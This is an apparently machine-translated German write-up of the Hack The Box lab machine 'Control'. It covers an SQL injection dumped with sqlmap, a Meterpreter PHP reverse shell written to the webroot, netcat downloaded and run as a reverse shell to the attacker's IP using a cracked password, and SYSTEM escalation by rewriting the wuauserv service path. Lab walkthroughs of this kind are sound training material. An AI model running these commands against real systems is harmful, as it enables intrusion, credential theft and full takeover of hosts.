Hack The Box. Durchgangskontrolle. SQL Injection und LPE durch Servicerechte

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .

In diesem Artikel dringen wir durch SQL-Injection in das System ein, vertiefen uns in den Verlauf der Befehlszeile und erhöhen unsere Berechtigungen dank der Rechte an dem Dienst.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)

Organisationsinformationen
, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.167, die ich zu / etc / hosts hinzufüge.

10.10.10.167    control.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.
nmap -A control.htb -p80,135,3306,49667,49666

Bild

Auf dem Host wird ein Webserver ausgeführt. Mal sehen, was da ist.

Bild

Und wir sehen, dass es einen Link zum Admin-Panel gibt. Wir werden jedoch darüber informiert, dass es keinen Header gibt und wir über einen Proxy Kontakt aufnehmen müssen.

Bild

Gleichzeitig finden wir im Quellcode der Startseite die Meldung:

Bild

Wenn wir vergleichen, was Sie zur Verwendung des Proxys benötigen, und die gefundene Adresse, gehen wir davon aus, dass Sie diese durchgehen müssen. Der Proxy wird im HTTP-Protokoll im x-forwarded-for-Header angezeigt. Lassen Sie es uns aussetzen.

Bild

Und wir gehen erfolgreich zur Admin-Seite. Lassen Sie uns durch den Browser gehen.

Bild

Aber wenn Sie versuchen, etwas zu tun, werfen sie uns auf eine Seite mit einer Proxy-Nachricht. Dies liegt daran, dass wir den gefundenen Header nicht ersetzen. Um dies nicht jedes Mal in Burp Suite zu tun, finden wir auf der Registerkarte Proxy -> Optionen die Funktion „Match and Replace“.

Bild

Fügen Sie einen neuen Eintrag hinzu, der diesen Header automatisch allen ausgehenden Anforderungen hinzufügt.

Bild

Beim Testen des Suchfelds finden wir SQL Injection.

Bild

Für den Betrieb verwenden wir sqlmap. Speichern Sie diese Anforderung in einer Datei (In Datei kopieren) und führen Sie sqlmap aus, wobei Sie diese Datei als Parameter übergeben.
sqlmap -r headers.req

Bild

Einstiegspunkt Mal
sehen, welche Datenbanken verfügbar sind.
sqlmap -r headers.req --dbs

Bild

Lassen Sie uns herausfinden, welche Anmeldeinformationen verfügbar sind. Sehen wir uns alle Tabellen in der MySQL-Datenbank an.
sqlmap -r headers.req -D mysql --tables

Bild

Wir interessieren uns also für die Benutzertabelle. Lassen Sie uns die Namen aller Spalten abrufen.
sqlmap -r headers.req -D mysql -T user --columns

Bild

Von allen Spalten sind Benutzer und Passwort am interessantesten. Wir lernen, was in ihnen ist.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

Bild

Die Datenbank enthält mehrere Benutzer. Sqlmap bietet an, Hashes zu knacken. Wir wählen einen Wörterbuchangriff aus, geben an, dass wir unser Wörterbuch verwenden möchten, und schreiben den Pfad zu rockyou.

Bild

Nach einigen Sekunden erhalten wir eine Tabelle mit Benutzernamen und Hashes ihrer Passwörter. Wenn sqlmap das Kennwort knacken konnte, wird es neben dem Hash in Klammern angezeigt. Wie Sie sehen können, haben wir die Anmeldeinformationen des Benutzers hector.

Bild

Ich konnte die Shell nicht mit sqlmap abrufen, sondern Dateien ausschreiben. Lassen Sie uns das Web zu Fuß gehen. Zuerst generieren wir die Meterpreter-Last im PHP-Format.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


Schreiben Sie es nun mit sqlmap in das Webserververzeichnis.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

Bild

Die Datei wurde erfolgreich geschrieben. Führen Sie den Listener aus.

Bild

Und wenden Sie sich an Ihre Datei auf dem Webserver.
curl http://control.htb/r.php


Im Metasploit-Fenster beobachten wir eine erfolgreiche Verbindung.

Bild

Gehen Sie zu dieser Sitzung.

Bild

Aber hier ist das Problem, wir können keine Befehle über die Shell ausführen. Außerdem setzen solche Versuche die Verbindung zurück. Versuchen wir, die Sperre zu umgehen, indem wir einen Powershell-Prozess im interaktiven Modus (-i) erstellen, der nicht sichtbar ist (-H), und unseren Befehl als Parameter (-a) übergeben. Lassen Sie uns herausfinden, unter welchem ​​Benutzer wir arbeiten.

Bild

BENUTZER


Wir haben Hector-Anmeldeinformationen. Wir werden herausfinden, ob sich ein solcher Benutzer im System befindet.

Bild

Es gibt so einen Benutzer! Aber zuerst den Namen des Autos herausfinden.

Bild

Wir haben Benutzername, Passwort, Domain und Computername. Lassen Sie uns nun prüfen, ob die erhaltenen Anmeldeinformationen geeignet sind. Führen Sie dazu im Auftrag von Hector „whoami“ aus.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

Bild

Fein. Lassen Sie uns die Shell bekommen. Führen Sie den Webserver auf dem lokalen Host aus.
python3 -m http.server 80


Und auf den Remote-Netcat-Host hochladen.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Öffnen Sie nun den 5432-Port. nc -lvp 5432 und stellen Sie die umgekehrte Verbindung vom Remote-Host her.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Also nehmen wir den Benutzer.

Bild

WURZEL


Wenn wir versuchen, eine der Methoden zum Sammeln von Informationen vom Host auf den Host hochzuladen (z. B. BloodHound , PowerUp , JAWS , WinPEAS ), stellen wir fest, dass der Verteidiger diese entfernt. WinPEAS hat jedoch eine Bat-Version , die nicht deinstalliert werden kann. Wir laden es auf den Host hoch und führen es aus. Darüber hinaus ist es nur erforderlich, die gesammelten Informationen sorgfältig zu überprüfen. Und wir finden eine interessante Datei ConsoleHost_history.txt.

Bild

Schauen Sie, was sie enthält.

Bild

Diese Teams sind das einzige, was wir haben. Das Cmdlet Get-Acl ruft Objekte ab, die eine Sicherheitsbeschreibung für eine Datei oder Ressource darstellen. Die Sicherheitsbeschreibung enthält ACLs (Resource Access Control Lists). Die ACL enthält die Berechtigungen, die Benutzer und Benutzergruppen für den Zugriff auf die Ressource benötigen. Daher habe ich beschlossen, dass der Lösungspfad in den Diensten und dem Zugriff auf diese liegt. Lassen Sie uns alle Dienste und Berechtigungen von Hector für sie erhalten.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


Wenn wir uns die Ausgabe ansehen, stellen wir fest, dass Hector die vollen Rechte für den Windows-Update-Dienst wuauserv hat.

Bild

Dienste im Windows-Betriebssystem werden mit Systemberechtigungen ausgeführt. Bei der Registrierung eines Dienstes im System wird der Pfad zur ausführbaren Dienstdatei im ImagePath-Attribut geschützt. Lassen Sie uns den Wert dieses Attributs ändern und die Shell laden.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


Starten Sie nun den Update-Service.
start-service wuauserv


Und wir bekommen eine Shell mit maximalen Privilegien.

Bild

Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles